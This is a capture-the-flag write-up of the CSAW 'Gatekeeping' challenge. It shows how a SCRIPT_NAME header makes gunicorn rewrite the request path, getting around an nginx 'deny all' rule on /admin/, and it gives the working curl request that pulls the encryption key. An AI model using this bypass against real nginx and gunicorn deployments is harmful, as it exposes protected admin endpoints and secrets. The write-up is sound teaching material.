hand on a keyboard with the CSAW logo

CSAW 2021 Gatekeeping

Top News12/09/2020

By Aldric Berthet-Bondet and Florian Picca

In this challenge, we have to circumvent admin access restriction in an nginx environment by abusing a feature provided by gunicorn.

Details

  • Category : web
  • Points : 395
  • Solves : 133

Description

My previous flag file got encrypted by some dumb ransomware. They didn’t even tell me how to pay them, so I’m totally out of luck. All I have is the site that is supposed to decrypt my files (but obviously that doesn’t work either).

http://web.chal.csaw.io:5004

Sources files :

$ ls -lR
.:
total 16
-rw-rw-r-- 1 enoent enoent  329 sept. 10 02:21 Dockerfile
-rw-r--r-- 1 enoent enoent   74 sept.  3 19:32 flag.txt.enc
drwxr-xr-x 3 enoent enoent 4096 sept.  3 19:32 server
-rw-rw-r-- 1 enoent enoent  251 sept. 10 01:59 supervisord.conf

./server:
total 12
-rw-r--r-- 1 enoent enoent 1670 sept. 10 02:09 server.py
-rwxr-xr-x 1 enoent enoent 1246 sept. 10 02:09 setup.sh
drwxr-xr-x 2 enoent enoent 4096 sept.  3 19:32 templates

./server/templates:
total 4
-rw-r--r-- 1 enoent enoent 2876 sept.  3 19:32 index.html

Understanding the problem

We have access to a web interface where we can upload our encrypted files for decryption.

Only users who have paid the ransom will get their files decrypted, so uploading the encrypted flag doesn’t work, obviously.

Each file is encrypted with a different key, identified through a key ID :

def get_info():
    key = request.headers.get('key_id')
    if not key:
        abort(400, 'Missing key id')
    if not all(c in '0123456789ABCDEFabcdef'
            for c in key):
        abort(400, 'Invalid key id format')
    path = os.path.join('/server/keys',key)
    if not os.path.exists(path):
        abort(401, 'Unknown encryption key id')
    with open(path,'r') as f:
        return json.load(f)

If we look at the source code of the server, we see that we can recover the encryption key by sending a GET request to a specific endpoint :

# === CL Review Comments - 5a7b3f
# <Alex> Is this safe?
# <Brad> Yes, because we have `deny all` in nginx.
# <Alex> Are you sure there won't be any way to get around it?
# <Brad> Here, I wrote a better description in the nginx config, hopefully that will help
# <Brad> Plus we had our code audited after they stole our coins last time
# <Alex> What about dependencies?
# <Brad> You are over thinking it. no one is going to be looking. everyone we encrypt is so bad at security they would never be able to find a bug in a library like that
# ===
@app.route('/admin/key')
def get_key():
    return jsonify(key=get_info()['key'])

However, access this endpoint directly results in an 403 - Forbidden error :

server {
    listen 80;

    underscores_in_headers on;

    location / {
        include proxy_params;

        # Nginx uses the WSGI protocol to transmit the request to gunicorn through the domain socket 
        # We do this so the network can't connect to gunicorn directly, only though nginx
        proxy_pass http://unix:/tmp/gunicorn.sock;
        proxy_pass_request_headers on;

        # INFO(brad)
        # Thought I would explain this to clear it up:
        # When we make a request, nginx forwards the request to gunicorn.
        # Gunicorn then reads the request and calculates the path (which is put into the WSGI variable `path_info`)
        #
        # We can prevent nginx from forwarding any request starting with "/admin/". If we do this 
        # there is no way for gunicorn to send flask a `path_info` which starts with "/admin/"
        # Thus any flask route starting with /admin/ should be safe :)
        location ^~ /admin/ {
            deny all;
        }
    }
}

By judging from the comments we found in the source files, we have to find a way to make gunicorn return path_info="/admin/key" without sending an URL with a path starting with /admin/.

Solving the problem

From the provided dockerfile we know that gunicorn and nginx are in their latest version, which is wierd. The challenge’s author wouldn’t ask us to find a 0-day in gunicorn, so it must be a “feature”.

Looking for path_info references in the source code of gunicorn, we find the following extract :

# set the path and script name
path_info = req.path
if script_name:
    path_info = path_info.split(script_name, 1)[1]
environ['PATH_INFO'] = util.unquote_to_wsgi_str(path_info)
environ['SCRIPT_NAME'] = script_name

If the SCRIPT_NAME header is defined, the path_info variable is the portion of the path located after the content of this header.

If we set script_name="p" and query /p/admin/, the result will be path_info="/admin/" !

This requires however to allow underscores in header names and that the headers are forwarded to gunicorn, both of which are set to on in the nginx configuration file.

The last thing we need to do is recover the key ID linked to the encrypted flag. This can easily be done by asking for the decryption of the flag and looking at the request headers :

key_id: 05d1dc92ce82cc09d9d7ff1ac9d5611d

Implementing the solution

The only thing to do now is to send the following GET request :

$ curl -H "key_id: 05d1dc92ce82cc09d9d7ff1ac9d5611d" -H "SCRIPT_NAME: p" http://web.chal.csaw.io:5004/p/admin/key
{"key":"b5082f02fd0b6a06203e0a9ffb8d7613dd7639a67302fc1f357990c49a6541f3"}

With the key in hand, we have everything needed to decrypt the flag.

Flag : flag{gunicorn_probably_should_not_do_that}

Our news